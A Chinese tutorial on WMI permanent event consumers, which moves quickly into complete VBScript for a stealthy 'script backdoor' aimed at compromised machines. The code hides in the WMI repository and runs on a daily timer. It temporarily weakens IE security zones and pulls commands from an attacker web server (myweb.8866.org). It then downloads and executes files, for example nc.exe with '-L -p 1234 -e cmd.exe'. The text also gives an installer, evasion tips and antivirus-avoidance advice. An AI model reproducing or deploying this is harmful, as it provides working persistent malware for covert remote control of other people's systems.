windows脚本后门例子

在讨论脚本后门前,先要介绍一类很有用的WMI对象。事实上,这才是本节的关键。脚本后门不过是它的一个应用而已。


    前面已经说过,WMI是事件驱动的。整个事件处理机制分为四个部分:
    1,事件生产者(provider):负责产生事件。WMI包含大量的事件生产者。有性能计数器之类的具体的事件生产者,也有类、实例的创建、修改、删除等通用的事件生产者。


    2,事件过滤器(filter):系统每时每刻都在产生大量的事件,通过自定义过滤器,脚本可以捕获感兴趣的事件进行处理。


    3,事件消费者(consumer):负责处理事件。它可以是可执行程序、动态链接库(dll,由WMI服务加载)或者脚本。


    4,事件绑定(binding):通过将过滤器和消费者绑定,明确什么事件由什么消费者负责处理。


    事件消费者可以分为临时的和永久的两类。临时的事件消费者只在其运行期间关心特定事件并处理。永久消费者作为类的实例注册在WMI名字空间中,一直有效直到它被注销。显然,永久事件消费者更具实用性。还是来看个例子:


    nslink=\”winmgmts:\\\\.\\root\\cimv2:\” \’只需要本地连接,所以用这种语法,不用swbemlocator对象\’


    set asec=getobject(nslink&\”ActiveScriptEventConsumer\”).spawninstance_ \’创建“活动脚本事件消费者”\’
    asec.name=\”stopped_spooler_restart_consumer\” \’定义消费者的名字\’
    asec.scriptingengine=\”vbscript\” \’定义脚本语言(只能是vbscript)\’
    asec.scripttext=\”getobject(\”\”winmgmts:win32_service=\’spooler\’\”\”).startservice\” \’脚本代码\’
    set asecpath=asec.put_ \’注册消费者,返回其链接\’


    set evtflt=getobject(nslink&\”__EventFilter\”).spawninstance_ \’创建事件过滤器\’
    evtflt.name=\”stopped_spooler_filter\” \’定义过滤器的名字\’
    qstr=\”select * from __instancemodificationevent within 5 \” \’每5秒查询一次“实例修改事件”\’
    qstr=qstr&\”where targetinstance isa \”\”win32_service\”\” and \” \’目标实例的类是win32_service\’
    qstr=qstr&\”targetinstance.name=\”\”spooler\”\” \” \’实例名是spooler\’
    qstr=qstr&\”and targetinstance.state=\”\”stopped\”\”\” \’实例的state属性是stopped\’
    evtflt.query=qstr \’定义查询语句\’
    evtflt.querylanguage=\”wql\” \’定义查询语言(只能是wql)\’
    set fltpath=evtflt.put_ \’注册过滤器,返回其链接\’


    set fcbnd=getobject(nslink&\”__FilterToConsumerBinding\”).spawninstance_ \’创建过滤器和消费者的绑定\’
    fcbnd.consumer=asecpath.path \’指定消费者\’
    fcbnd.filter=fltpath.path \’指定过滤器\’
    fcbnd.put_ \’执行绑定\’


    wscript.echo \”安装完成\”


    这个脚本的效果是:当“后台打印”服务(spooler)状态改变为停止时,消费者将进行处理——重启spooler。
    先net start spooler,然后net stop spooler。最多5秒钟,spooler又会启动。


    直接运行上面的脚本会出错,因为“活动脚本事件消费者”(ActiveScriptEventConsumer ASEC)默认没有被安装到root\\cimv2名字空间。


    用记事本打开%windir%\\system32\\wbem\\scrcons.mof,将第一行“#pragma namespace (\”\\\\\\\\.\\\\Root\\\\Default\”)”删除,或者修改为“#pragma namespace (\”\\\\\\\\.\\\\Root\\\\cimv2\”)”。XP/2003没有这一行,不用修改。
    然后执行下面这个命令:


    C:\\WINNT\\system32\\wbem>mofcomp.exe -N:root\\cimv2 scrcons.mof
    Microsoft (R) 32-bit MOF 汇编器版本 1.50.1085.0007
    版权所有 (c) Microsoft Corp. 1997-1999。保留所有权利。


    正在分析 MOF 文件: scrcons.mof
    MOF 文件分析成功
    将数据储存到储备库中…
    已完成!


    这样就把ASEC安装到root\\cimv2了。mofcomp.exe和scrcons.mof都是系统自带的。


    2000默认将ASEC安装到root\\default名字空间,而XP/2003默认已经安装到root\\subscription名字空间,但由于事件过滤器不能跨名字空间捕捉事件(XP/2003可以),事件绑定也不能跨名字空间,而大部分事件都在root\\cimv2产生,所以需要重新安装ASEC到事件源所在的名字空间。下面这个脚本自动完成ASEC重安装任务。


    set shl=createobject(\”WScript.Shell\”)
    set fso=createobject(\”Scripting.FileSystemObject\”)
    path=shl.expandenvironmentstrings(\”%windir%\\system32\\wbem\\\”)
    set mof=fso.opentextfile(path&\”scrcons.mof\”,1,false,-1) \’mof都是Unicode格式的\’
    mofs=mof.readall
    mof.close
    mofs=replace(mofs,\”\\\\Default\”,\”\\\\cimv2\”,1,1) \’替换默认的名字空间\’
    mofp=path&\”asecimv2.mof\”
    set mof=fso.createtextfile(mofp,false,true) \’创建临时mof文件\’
    mof.write mofs
    mof.close
    shl.run path&\”mofcomp.exe -N:root\\cimv2 \”&mofp,0,true \’安装到root\\cimv2\’
    fso.deletefile(mofp)
    wscript.echo \”安装完成\”


    注销永久事件:


    nslink=\”winmgmts:\\\\.\\root\\cimv2:\”
    myconsumer=\”stopped_spooler_restart_consumer\” \’指定消费者的名字\’
    myfilter=\”stopped_spooler_filter\” \’指定过滤器的名字\’
    set binds=getobject(nslink&\”__FilterToConsumerBinding\”).instances_
    for each bind in binds
    if strcomp(right(bind.consumer,len(myconsumer)+1),myconsumer&chr(34),1)=0 _
    and strcomp(right(bind.filter,len(myfilter)+1),myfilter&chr(34),1)=0 then
    getobject(\”winmgmts:\”&bind.consumer).delete_ \’删除消费者\’
    getobject(\”winmgmts:\”&bind.filter).delete_ \’删除过滤器\’
    bind.delete_ \’删除绑定\’
    exit for
    end if
    next
    wscript.echo \”卸载完成\”


    除了ASEC,WMI还提供其他永久事件消费者,比如SMTPEventConsumer。当系统出现异常时,可以通过它自动给管理员的信箱发信。WMITools里的WMI Event Registration用于创建、修改、删除指定名字空间里的永久事件消费者、事件过滤器和计时器事件源的实例,以及绑定或解除绑定它们。
    


[NextPage]
    关于事件处理机制的各个部分,在《WMI技术指南》里有详细的讲述,MSDN里当然更全面。我就点到为止了。


    (看累了吧,喝口水,休息一下 ^_^)


    下面开始讨论脚本后门。


    WMI提供了两个计时器:__AbsoluteTimerInstruction和__IntervalTimerInstruction,分别在指定的时刻和时间间隔触发事件,注册一个过滤器来捕获计时器事件,再和ASEC绑定,我们就获得了一种少见的程序自启动的方法。而且,脚本代码完全隐藏在CIM存储库中,不以独立的文件存在,查杀比较困难。这是脚本后门的优势,但困难也不少:


    1,脚本运行时,由系统自带的scrcons.exe作为脚本宿主(Windows的设计者还没有笨到用WMI服务作为脚本宿主)。这就会增加一个进程,虽然是系统正常的进程,杀毒软件拿它没辙,但还是太显眼了。所以,不能让脚本一直在后台运行,而是应该每隔一段时间启动一次,然后尽快结束。脚本结束后,scrcons.exe进程不会自动结束,必须让脚本借助WMI提供的Win32_Process对象主动终止宿主进程(煮豆燃豆萁?!)。


    2,脚本的网络功能很差,基本上只能依靠Microsoft.XMLHTTP之类的对象。因此,脚本后门不能监听端口并提供cmd shell,只能反向连接到web服务器,获取控制命令。一个可行的办法是,在web服务器上放一个命令文件,脚本后门根据域名找到服务器并下载命令文件,再根据文件内容作出响应。所以,你需要一台web服务器,或者用netbox等工具建个临时服务器。当然,你不需要让服务器总是在线,需要控制脚本后门时再运行就可以了。


    3,由于脚本后门间歇式运行,需要防止重复运行同一个命令。解决方法是在注册表里记录命令的长度,每次获取命令后将长度和记录做比较,如果相同则跳过,不同则覆盖并执行命令。


    4,为了借助ie对象穿透防火墙,XMLHTTP对象必须在ie中被创建,这会受到Internet域安全级别的限制。即使将代码保存在html文件中再用ie打开,也不过是“我的电脑”域,创建不安全的ActiveX对象还是会弹出警告对话框。解决办法是修改注册表,临时更改安全设置。


    5,WScript对象由wscript.exe或cscript.exe提供,而scrcons.exe没有提供,所以很多常用的功能,比如WScript.Sleep都不能用了。不能Sleep就无法异步使用XMLHTTP,而同步XMLHTTP可能被长时间阻塞,大大不利于后门的隐蔽。调用ping命令来延时会创建新进程,用WScript.Shell的Popup方法延时则有“咚”一声提示音。好在Microsoft.XMLHTTP的“亲戚”不少,比如Msxml2.XMLHTTP、Msxml2.ServerXMLHTTP、Msxml2.DOMDocument、WinHttp.WinHttpRequest等。最后那个可以设置超时时间,刚好满足需要。


    即使有重重困难,脚本后门仍然值得挑战一下。当肉鸡上的各类木马纷纷被杀毒软件肃清后,一个24小时才运行一次的脚本后门可能是你最后的希望。


    下面是一个简单的脚本后门的核心代码(没有安装功能):


    cmdu=\”http://myweb.8866.org/cmd.txt\” \’从web服务器获取命令的url\’
    cmdw=4000 \’下载超时时间4秒\’
    cmdl=\”HKLM\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\CmdLength\” \’记录命令长度的键值名\’


    on error resume next \’忽略非致命错误 \’(调试时注释掉本行)
    set shl=createobject(\”WScript.Shell\”) \’虽然不能使用WScript根对象,其子对象还是可以用的\’
    set aso=createobject(\”ADODB.Stream\”)
    set ie=createobject(\”InternetExplorer.Application\”) \’使用ie绕过防火墙\’


    zone=\”HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3\”
    set1=zone&\”\\1201\”
    set2=zone&\”\\1400\”
    set3=zone&\”\\CurrentLevel\”
    val1=shl.regread(set1) \’保存原来的安全设置\’
    val2=shl.regread(set2)
    val3=shl.regread(set3)
    regd=\”REG_DWORD\”
    shl.regwrite set1,0,regd \’允许在Internet域运行不安全的ActiveX\’
    shl.regwrite set2,0,regd \’允许活动脚本\’
    shl.regwrite set3,0,regd \’设置当前Internet域安全级别为“自定义”\’


    ie.visible=0 \’:ie.visible=1 \’(调试用)
    ie.navigate \”about\”&\”:blank\” \’这里使用字符串连接纯属反论坛过滤\’
    ie.document.write _
    \”<script>function whr(){return new ActiveXObject(\’WinHttp.WinHttpRequest.5.1\’)}</script>\”
    set whr=ie.document.script.whr() \’在ie内创建WinHttpRequest对象\’


    whr.settimeouts cmdw,cmdw,cmdw,cmdw \’设置域名解析、连接、发送和接收超时时间\’
    whr.open \”GET\”,cmdu,true \’获取命令文件\’
    whr.send
    if not whr.waitforresponse(cmdw) then die
    if whr.status>299 then die
    rt=whr.responsetext \’:wscript.echo rt \’(调试用)
    \’:shl.regwrite cmdl,0,regd \’(调试用)
    if len(rt)=shl.regread(cmdl) then die \’与前一个命令的长度比较\’
    shl.regwrite cmdl,len(rt),regd \’更新命令长度\’
    cmds=split(rt,vbcrlf,-1)
    if ubound(cmds)<1 then die
    cmdt=lcase(trim(cmds(0))) \’:wscript.echo cmdt \’(调试用)


    aso.type=1
    aso.open
    cd=shl.currentdirectory&chr(92)
    select case cmdt \’分析命令文件类型\’
    case \”\’vbs\” \’是vbs\’
    execute(rt) \’直接在当前脚本上下文中执行\’
    die
    case \”:bat\” \’是批处理\’
    aso.write whr.responsebody
    aso.savetofile cd&\”_.bat\”,2 \’保存在当前目录\’
    aso.close
    shl.run chr(34)&cd&\”_.bat\”\”\”,0 \’运行批处理\’
    die
    case \”\’wsh\” \’是Windows脚本\’
    aso.write whr.responsebody
    aso.savetofile cd&\”_.vbs\”,2 \’保存在当前目录\’
    


[NextPage]
    aso.close
    shl.run \”cscript.exe \”\”\”&cd&\”_.vbs\”\”\”,0 \’使用cscript作为脚本宿主\’
    die
    case \”exe\” \’exe需进一步分析\’
    case else die
    end select


    if ubound(cmds)<4 then die \’:wscript.echo cmds(1) \’(调试用)
    whr.open \”GET\”,cmds(1),true \’从指定位置下载exe文件\’
    whr.send
    if not whr.waitforresponse(cmds(2)) then die
    if whr.status>299 then die
    path=shl.expandenvironmentstrings(cmds(3))\’展开保存路径中的环境变量\’
    aso.write whr.responsebody \’:wscript.echo path \’(调试用)
    aso.savetofile path,2 \’保存exe文件\’
    aso.close
    shl.run chr(34)&path&\”\”\” \”&cmds(4),0 \’执行exe\’


    die


    sub die
    ie.quit
    shl.regwrite set1,val1,regd \’还原Internet域安全设置\’
    shl.regwrite set2,val2,regd
    shl.regwrite set3,val3,regd
    for each ps in getobject(\”winmgmts:\\\\.\\root\\cimv2:win32_process\”).instances_
    if lcase(ps.name)=\”scrcons.exe\” then ps.terminate \’自杀\’
    next
    \’wscript.echo \”die\”: wscript.quit \’(调试用)
    end sub


    取消调试语句的注释,上面这段核心代码就可以直接运行。
    它将试图从myweb.8866.org上获取cmd.txt,根据里面的内容进一步行动。
    cmd.txt看起来像这样:


    exe //被执行的文件类型,可以是\’vbs、:bat、exe或\’wsh
    http://myweb.8866.org/nc.exe //被执行的文件的下载url
    4000 //下载超时时间,单位毫秒
    %windir%\\system32\\nc.exe //文件的保存位置,支持环境变量
    -L -p 1234 -e cmd.exe //命令行参数


    收到上面这个命令后,脚本将从指定url下载nc.exe,保存到系统目录并运行。


    如果第一行的文件类型为\’vbs、\’wsh或:bat,则把命令文件本身当作脚本或批处理来执行。比如:


    :bat
    net start telnet         :启动telnet服务
    del %0              :自删除


    如果只是想让某台主机执行命令,可以这样:


    :bat
    ipconfig | find \”123.45.67.89\” && net start telnet
    del %0


    这样就只有ip地址为123.45.67.89的主机才会启动telnet。


    \’wsh和\’vbs的区别是,前者保存为文件由cscript.exe调用,后者直接在脚本后门“内部”执行。
    使用\’vbs的好处是不用生成文件,而且可以直接利用后门中已经创建的对象,比如shl,但也因此不能用WScript根对象。


    下面的\’vbs命令文件把\”本地帐户的共享和安全模式\”由\”仅来宾\”改为\”经典\”(对XP和2003有效):


    \’vbs
    shl.regwrite \”HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\forceguest\”,0,\”REG_DWORD\”


    注意,vbs和wsh前面都有一个单引号,因为整个命令文件都作为脚本执行,所以必须注释掉第一行,:bat也是一样。
    使用\’vbs时千万注意不要有语法错误,否则会使后门出错并停止。如果是复杂的脚本,建议使用\’wsh。


    将核心代码改写为单行字符串格式,就可以作为ASEC的实例安装了。改写时要注意\”if\”和\”end if\”配对以及去掉续行符。
    完整的安装脚本代码如下:


    \’***以下为参数配置,请根据情况自行修改***\’
    nslink=\”winmgmts:\\\\.\\root\\cimv2:\” \’ASEC所在的名字空间\’
    doorname=\”vbscript_backdoor\” \’记住后门的名字,卸载时需要\’
    runinterval=86400000 \’每天运行一次\’
    cmdu=\”http://myweb.8866.org/cmd.txt\” \’命令文件的位置\’
    cmdw=4000 \’文件下载超时时间\’
    cmdl=\”HKLM\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\CmdLength\” \’保存命令长度的键值名\’
    \’***参数配置结束***\’


    createobject(\”WScript.Shell\”).regwrite cmdl,0,\”REG_DWORD\”


    \’脚本后门核心代码\’
    stxt=\”cmdu=\”\”\”&cmdu&\”\”\”:cmdw=\”&cmdw&\”:cmdl=\”\”\”&cmdl&\”\”\”:on error resume next:set shl=createobject(\”\”WScript.Shell\”\”):set aso=createobject(\”\”ADODB.Stream\”\”):set ie=createobject(\”\”InternetExplorer.Application\”\”):zone=\”\”HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3\”\”:set1=zone&\”\”\\1201\”\”:set2=zone&\”\”\\1400\”\”:set3=zone&\”\”\\CurrentLevel\”\”:val1=shl.regread(set1):val2=shl.regread(set2):val3=shl.regread(set3):regd=\”\”REG_DWORD\”\”:shl.regwrite set1,0,regd:shl.regwrite set2,0,regd:shl.regwrite set3,0,regd:ie.visible=0:ie.navigate \”\”about\”\”&\”\”:blank\”\”:ie.document.write \”\”<script>function whr(){return new ActiveXObject(\’WinHttp.WinHttpRequest.5.1\’)}</script>\”\”:with ie.document.script.whr():.settimeouts cmdw,cmdw,cmdw,cmdw:.open \”\”GET\”\”,cmdu,true:.send:if not .waitforresponse(cmdw) then die:end if:if .status>299 then die:end if:rt=.responsetext:if len(rt)=shl.regread(cmdl) then die:end if:shl.regwrite cmdl,len(rt),regd:cmds=split(rt,vbcrlf,-1):if ubound(cmds)<1 then die:end if:cmdt=lcase(trim(cmds(0))):aso.type=1:aso.open:cd=shl.currentdirectory&chr(92):select case cmdt:case \”\”\’vbs\”\”:execute(rt):die:case \”\”:bat\”\”:aso.write .responsebody:aso.savetofile cd&\”\”_.bat\”\”,2:aso.close:shl.run chr(34)&cd&\”\”_.bat\”\”\”\”\”\”,0:die:case \”\”\’wsh\”\”:aso.write .responsebody:aso.savetofile cd&\”\”_.vbs\”\”,2:aso.close:shl.run \”\”cscript.exe \”\”\”\”\”\”&cd&\”\”_.vbs\”\”\”\”\”\”,0:die:case \”\”exe\”\”:case else die:end select:if ubound(cmds)<4 then die:end if:.open \”\”GET\”\”,cmds(1),true:.send:if not .waitforresponse(cmds(2)) then die:end if:if .status>299 then die:end if:path=shl.expandenvironmentstrings(cmds(3)):aso.write .responsebody:aso.savetofile path,2:aso.close:shl.run chr(34)&path&\”\”\”\”\”\” \”\”&cmds(4),0:end with:die:sub die:ie.quit:shl.regwrite set1,val1,regd:shl.regwrite set2,val2,regd:shl.regwrite set3,val3,regd:for each ps in getobject(\”\”winmgmts:\\\\.\\root\\cimv2:win32_process\”\”).instances_:if lcase(ps.name)=\”\”scrcons.exe\”\” then ps.terminate:end if:next:end sub\”
    


[NextPage]



    \’配置事件消费者\’
    set asec=getobject(nslink&\”ActiveScriptEventConsumer\”).spawninstance_
    asec.name=doorname&\”_consumer\”
    asec.scriptingengine=\”vbscript\”
    asec.scripttext=stxt
    set asecpath=asec.put_


    \’配置计时器\’
    set itimer=getobject(nslink&\”__IntervalTimerInstruction\”).spawninstance_
    itimer.timerid=doorname&\”_itimer\”
    itimer.intervalbetweenevents=runinterval
    itimer.skipifpassed=false
    itimer.put_


    \’配置事件过滤器\’
    set evtflt=getobject(nslink&\”__EventFilter\”).spawninstance_
    evtflt.name=doorname&\”_filter\”
    evtflt.query=\”select * from __timerevent where timerid=\”\”\”&doorname&\”_itimer\”\”\”
    evtflt.querylanguage=\”wql\”
    set fltpath=evtflt.put_


    \’绑定消费者和过滤器\’
    set fcbnd=getobject(nslink&\”__FilterToConsumerBinding\”).spawninstance_
    fcbnd.consumer=asecpath.path
    fcbnd.filter=fltpath.path
    fcbnd.put_


    wscript.echo \”安装完成\”


    与前一个永久事件处理过程不同的是,脚本后门的事件源是计时器,在每个名字空间都可以实例化并触发事件。所以,不一定要将ASEC安装到root\\cimv2。特别是XP/2003,ASEC默认已经安装到root\\subscription,只需要相应修改nslink的值,就可以安装脚本后门了。


    卸载脚本后门:


    cmdl=\”HKLM\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\CmdLength\”
    createobject(\”WScript.Shell\”).regdelete cmdl \’删除保存命令长度的键值\’
    nslink=\”winmgmts:\\\\.\\root\\cimv2:\”
    doorname=\”vbscript_backdoor\” \’根据脚本后门的名字找到各个对象实例\’
    myconsumer=doorname&\”_consumer\”
    mytimer=doorname&\”_itimer\”
    myfilter=doorname&\”_filter\”
    set binds=getobject(nslink&\”__FilterToConsumerBinding\”).instances_
    for each bind in binds
    if strcomp(right(bind.consumer,len(myconsumer)+1),myconsumer&chr(34),1)=0 _
    and strcomp(right(bind.filter,len(myfilter)+1),myfilter&chr(34),1)=0 then
    bind.delete_
    exit for
    end if
    next
    getobject(nslink&\”ActiveScriptEventConsumer.Name=\”\”\”&myconsumer&\”\”\”\”).delete_
    getobject(nslink&\”__IntervalTimerInstruction.TimerId=\”\”\”&mytimer&\”\”\”\”).delete_
    getobject(nslink&\”__EventFilter.Name=\”\”\”&myfilter&\”\”\”\”).delete_
    wscript.echo \”卸载完成\”


    几点补充说明:
    1,脚本后门的优势在于隐蔽,所以24小时才运行一次是合适的。不用担心因为系统关机而错过运行机会,下次启动时会补上的。


    2,为了更好的反查杀,可以给脚本后门的核心代码加壳。在功能上也可以改进到接近IRC木马的程度,只不过服务端是Web服务器,不能同时养太多的马。


    3,脚本后门的自启动和运行依赖于WMI服务,虽然禁用WMI服务就可以杜绝此类后门和木马,但比起通过注册表启动还是可靠的多。如果被蠕虫病毒利用,恐怕会很麻烦吧。


    结语
    Windows脚本就像万能胶,能够把独立的程序、服务、控件组合起来完成任务。脚本编程的技巧就是组合的技巧。XP和2003比2000自带更多的命令行工具,WMI也大大加强了,脚本的功能水涨船高,可以说是“只有想不到,没有做不到”。一切有待你的发掘。



 

windows脚本后门例子

相关文章:

你感兴趣的文章:

标签云: